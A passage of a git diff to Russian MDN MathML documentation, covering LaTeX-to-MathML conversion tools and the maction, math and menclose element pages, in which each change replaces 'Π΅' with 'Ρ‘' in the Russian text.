<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ просто ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ простыС матСматичСскиС выраТСния LaTeX, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ инструмСнты, ΠΊΠ°ΠΊ <a href="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html" title="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html">itex2MML</a> ΠΈΠ»ΠΈ <a href="http://gva.noekeon.org/blahtexml/" title="http://gva.noekeon.org/blahtexml/">Blahtex</a>. ПослСднСС часто доступно Π² дистрибутивах Linux. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим ΠΏΠ΅Ρ€Π²ΠΎΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π±Ρ‹Π»ΠΎ написано Полом Гартсайдом Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Mozilla MathML ΠΈ с Ρ‚Π΅Ρ… ΠΏΠΎΡ€ поддСрТиваСтся Π–Π°ΠΊΠΎΠΌ ДистлСром. Π­Ρ‚ΠΎ нСбольшой Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ ΠΏΠΎΡ‚ΠΎΠΊΠ°, написанный Π½Π° C/C++ ΠΈ сгСнСрированный с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ flex ΠΈ bison; Π² частности, ΠΎΠ½ΠΎ ΠΎΡ‡Π΅Π½ΡŒ быстроС. УстановитС flex/bison, Π° Ρ‚Π°ΠΊΠΆΠ΅ классичСский компилятор ΠΈ сгСнСрируйтС инструмСнты. Π’ Unix Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ itex2MML, ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ:</p>
@@ -255,7 +255,7 @@ make
sudo make install
</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ вас Π΅ΡΡ‚ΡŒ HTML страница с Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ TeX, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π΄ΠΎΠ»Π»Π°Ρ€Π°ΠΌΠΈ:</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ вас Π΅ΡΡ‚ΡŒ HTML страница с Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ TeX, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π΄ΠΎΠ»Π»Π°Ρ€Π°ΠΌΠΈ:</p>
<pre class="brush: html">input.html
@@ -272,7 +272,7 @@ sudo make install
<pre>cat input.html | itex2MML &gt; output.html</pre>
-<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ инструмСнты для прСобразования ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² LaTeX Π² HTML+MathML. НапримСр, <a href="https://www.tug.org/tex4ht/">TeX4ht</a> часто Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² дистрибутивы TeX ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ MathML вмСсто ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ PNG. Π­Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° создаст XHTML+MathML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ foo.xml ΠΈΠ· LaTeX исходника foo.tex:</p>
+<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ инструмСнты для прСобразования ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² LaTeX Π² HTML+MathML. НапримСр, <a href="https://www.tug.org/tex4ht/">TeX4ht</a> часто Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² дистрибутивы TeX ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ MathML вмСсто ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ PNG. Π­Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° создаст XHTML+MathML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ foo.xml ΠΈΠ· LaTeX исходника foo.tex:</p>
<pre> mk4ht mzlatex foo.tex # Linux/Mac platforms
mzlatex foo.tex # Windows platform
@@ -280,10 +280,10 @@ sudo make install
<p>Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ <a href="https://github.com/michal-h21/tex4ebook">tex4ebook</a> опираСтся Π½Π° TeX4ht для создания Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² EPUB.</p>
-<p><a href="http://dlmf.nist.gov/LaTeXML/" name="LaTeXML">LaTeXML</a> - это Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ инструмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ HTML5 ΠΈ EPUB. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Windows ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ это <a href="https://www.youtube.com/watch?v=Dg881w2e-lI">Π²ΠΈΠ΄Π΅ΠΎ-руководство</a>. Для LaTeX Ρ„Π°ΠΉΠ»Π° foo.tex, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ простыС ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹:</p>
+<p><a href="http://dlmf.nist.gov/LaTeXML/" name="LaTeXML">LaTeXML</a> - это Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ инструмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ HTML5 ΠΈ EPUB. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Windows ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ это <a href="https://www.youtube.com/watch?v=Dg881w2e-lI">Π²ΠΈΠ΄Π΅ΠΎ-руководство</a>. Для LaTeX Ρ„Π°ΠΉΠ»Π° foo.tex, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ простыС ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹:</p>
-<pre> latexmlc --dest foo.html foo.tex # Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ HTML5 Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ foo.html
- latexmlc --dest foo.epub foo.tex # Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ EPUB Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ foo.epub</pre>
+<pre> latexmlc --dest foo.html foo.tex # Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ HTML5 Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ foo.html
+ latexmlc --dest foo.epub foo.tex # Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ EPUB Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ foo.epub</pre>
<p>Π’ случаях с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ Π±Π΅Π· ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ MathML, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>--javascript</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ LaTeXML ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· <a href="#Fallback_for_Browsers_without_MathML_support">Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… скриптов</a>:</p>
@@ -330,7 +330,7 @@ sudo make install
<p style="text-align: center;"><img alt="Open Office Math" src="/@api/deki/files/4261/=openoffice.png" style="height: 527px; width: 483px;"></p>
-<p><a href="http://www.w3.org/Amaya/">Amaya</a> - это Web-Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΎΡ‚ W3C, способный ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ MathML Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² XHTML. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнты ΠΈΠ· Elements ΠΈ панСль Special Chars для создания Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Ρ… матСматичСских конструкций. ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ тСкст, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ <code>a+2</code>, автоматичСски парсится ΠΈ создаСтся ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π°Ρ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° MathML. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅, Π²Ρ‹ смоТСтС Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ свою страницу XHTML ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΅Π΅ Π² Mozilla.</p>
+<p><a href="http://www.w3.org/Amaya/">Amaya</a> - это Web-Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΎΡ‚ W3C, способный ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ MathML Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² XHTML. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнты ΠΈΠ· Elements ΠΈ панСль Special Chars для создания Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Ρ… матСматичСских конструкций. ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ тСкст, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ <code>a+2</code>, автоматичСски парсится ΠΈ создаётся ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π°Ρ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° MathML. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅, Π²Ρ‹ смоТСтС Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ свою страницу XHTML ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΅Ρ‘ Π² Mozilla.</p>
<h2 id="РаспознаваниС_Π²ΠΈΠ΄ΠΈΠΌΡ‹Ρ…_символов_ΠΈ_рукописного_тСкста">РаспознаваниС Π²ΠΈΠ΄ΠΈΠΌΡ‹Ρ… символов ΠΈ рукописного тСкста</h2>
diff --git a/files/ru/web/mathml/element/maction/index.html b/files/ru/web/mathml/element/maction/index.html
index 6d60735b70..085ea66f3b 100644
--- a/files/ru/web/mathml/element/maction/index.html
+++ b/files/ru/web/mathml/element/maction/index.html
@@ -11,7 +11,7 @@ translation_of: Web/MathML/Element/maction
<div>{{MathMLRef}}</div>
<div class="summary">
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ MathML <strong><code>&lt;maction&gt;</code></strong> обСспСчиваСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ дСйствия с (ΠΏΠΎΠ΄-) выраТСниями. Π‘Π°ΠΌΠΎ дСйствиС задаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°<code>actiontype</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠΌ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтам адрСсовано дСйствиС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>selection</code>.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ MathML <strong><code>&lt;maction&gt;</code></strong> обСспСчиваСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ дСйствия с (ΠΏΠΎΠ΄-) выраТСниями. Π‘Π°ΠΌΠΎ дСйствиС задаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°<code>actiontype</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠΌ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтам адрСсовано дСйствиС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>selection</code>.</p>
</div>
<h2 id="Атрибуты">Атрибуты</h2>
@@ -20,7 +20,7 @@ translation_of: Web/MathML/Element/maction
<dt id="attr-actiontype">actiontype</dt>
<dd>ДСйствиС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ устанавливаСт, Ρ‡Ρ‚ΠΎ происходит с этим элСмСнтом. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния:
<ul>
- <li><code>statusline</code>: Если ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π½Π° <em>Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (expression)</em> ΠΈΠ»ΠΈ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŒ Π½Π°Π²Π΅Π΄Π΅Ρ‚ курсор Π½Π° Π½Π΅Π³ΠΎ, <em>сообщСниС (message)</em> Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ Π² строку состояния Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Бинтаксис: <code>&lt;maction actiontype="statusline"&gt; <em>expression</em> <em>message</em> &lt;/maction&gt;.</code></li>
+ <li><code>statusline</code>: Если ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π½Π° <em>Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (expression)</em> ΠΈΠ»ΠΈ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŒ Π½Π°Π²Π΅Π΄Ρ‘Ρ‚ курсор Π½Π° Π½Π΅Π³ΠΎ, <em>сообщСниС (message)</em> Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ Π² строку состояния Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Бинтаксис: <code>&lt;maction actiontype="statusline"&gt; <em>expression</em> <em>message</em> &lt;/maction&gt;.</code></li>
<li><code>toggle</code>: Если ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π½Π° ΠΏΠΎΠ΄Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ Ρ‡Π΅Ρ€Π΅Π΄ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΠ΄Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΊΠ»ΠΈΠΊΠΎΠΌ <code>Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌΠΎΠ΅</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ мСняСтся Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅.<br>
Бинтаксис: <code>&lt;maction actiontype="toggle" selection="<em>positive-integer</em>" &gt; <em>expression1</em> <em>expression2</em> <em>expressionN</em> &lt;/maction&gt;</code>.</li>
<li><code>tooltip</code>: Когда ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ пСрСмСщаСтся Π½Π°Π΄ <em>Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ (expression)</em>, рядом с Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ отобраТаСтся Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π°Ρ подсказка с <em>сообщСниСм (message)</em>.<br>
diff --git a/files/ru/web/mathml/element/math/index.html b/files/ru/web/mathml/element/math/index.html
index b8c2c3238b..296daf9c32 100644
--- a/files/ru/web/mathml/element/math/index.html
+++ b/files/ru/web/mathml/element/math/index.html
@@ -26,18 +26,18 @@ translation_of: Web/MathML/Element/math
<dd><span class="notranslate">Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт способ Π²Ρ‹Π²ΠΎΠ΄Π°.</span> Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ <span class="notranslate">значСния:</span>
<ul>
<li><span class="notranslate"><code>block</code> - ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ этот элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° тСкста, ΠΊΠ°ΠΊ Π±Π»ΠΎΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ располоТСн Π² любом мСстС Π±Π΅Π· измСнСния смысла тСкста;</span></li>
- <li><span class="notranslate"><code>inline</code> -ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ этот элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° тСкста, ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ ΠΈΠ· Π½Π΅Π΅ Π±Π΅Π· измСнСния значСния этого тСкста.</span></li>
+ <li><span class="notranslate"><code>inline</code> -ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ этот элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° тСкста, ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ ΠΈΠ· Π½Π΅Ρ‘ Π±Π΅Π· измСнСния значСния этого тСкста.</span></li>
</ul>
<p><span class="notranslate">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>inline</code> .</span></p>
</dd>
- <dt id="attr-mode">mode {{ deprecated_inline() }} <span title="Π­Ρ‚ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ API большС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Π½ΠΎ, вСроятно, всС Π΅Ρ‰Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚.">
+ <dt id="attr-mode">mode {{ deprecated_inline() }} <span title="Π­Ρ‚ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ API большС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Π½ΠΎ, вСроятно, всС Π΅Ρ‰Ρ‘ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚.">
<i class="icon-thumbs-down-alt"></i>
</span></dt>
<dd><span class="notranslate">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β  </span><a href="https://developer.mozilla.org/en-US/docs/MathML/Element/math#attr-display">display attribute</a>.<br>
<span class="notranslate">Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния: <code>display</code> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ эффСкт, ΠΊΠ°ΠΊ <code>display="block"</code> ) ΠΈ <code>inline</code> .</span></dd>
<dt id="attr-overflow">overflow</dt>
- <dd><span class="notranslate">ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, ΠΊΠ°ΠΊ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Π΄Π΅Ρ‚ сСбя, Ссли тСкст слишком Π΄Π»ΠΈΠ½Π½Ρ‹ΠΉ ΠΈ Π½Π΅ помСщаСтся Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρ‹.</span><br>
+ <dd><span class="notranslate">ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, ΠΊΠ°ΠΊ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Π΄Ρ‘Ρ‚ сСбя, Ссли тСкст слишком Π΄Π»ΠΈΠ½Π½Ρ‹ΠΉ ΠΈ Π½Π΅ помСщаСтся Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρ‹.</span><br>
<span class="notranslate">Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния: <code>linebreak</code> (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ), <code>scroll</code> , <code>elide</code> , <code>truncate</code> , <code>scale</code> .</span></dd>
</dl>
diff --git a/files/ru/web/mathml/element/menclose/index.html b/files/ru/web/mathml/element/menclose/index.html
index 79c4c83179..45db068c2d 100644
--- a/files/ru/web/mathml/element/menclose/index.html
+++ b/files/ru/web/mathml/element/menclose/index.html
@@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/menclose
---
<div>{{MathMLRef}}</div>
-<p class="summary">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ MathML <code>&lt;menclose&gt;</code> ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ своС содСрТимоС Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ</code>.</p>
